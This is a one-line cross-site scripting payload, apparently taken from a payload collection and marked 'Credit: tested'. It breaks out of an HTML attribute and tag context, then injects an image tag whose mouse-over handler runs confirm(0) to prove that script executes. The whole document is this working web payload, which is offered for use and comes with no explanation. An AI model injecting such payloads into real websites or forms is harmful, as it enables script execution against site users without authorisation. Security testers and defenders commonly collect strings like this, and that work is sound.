>'>"><img src=x onmouseover =confirm(0)>

Credit: tested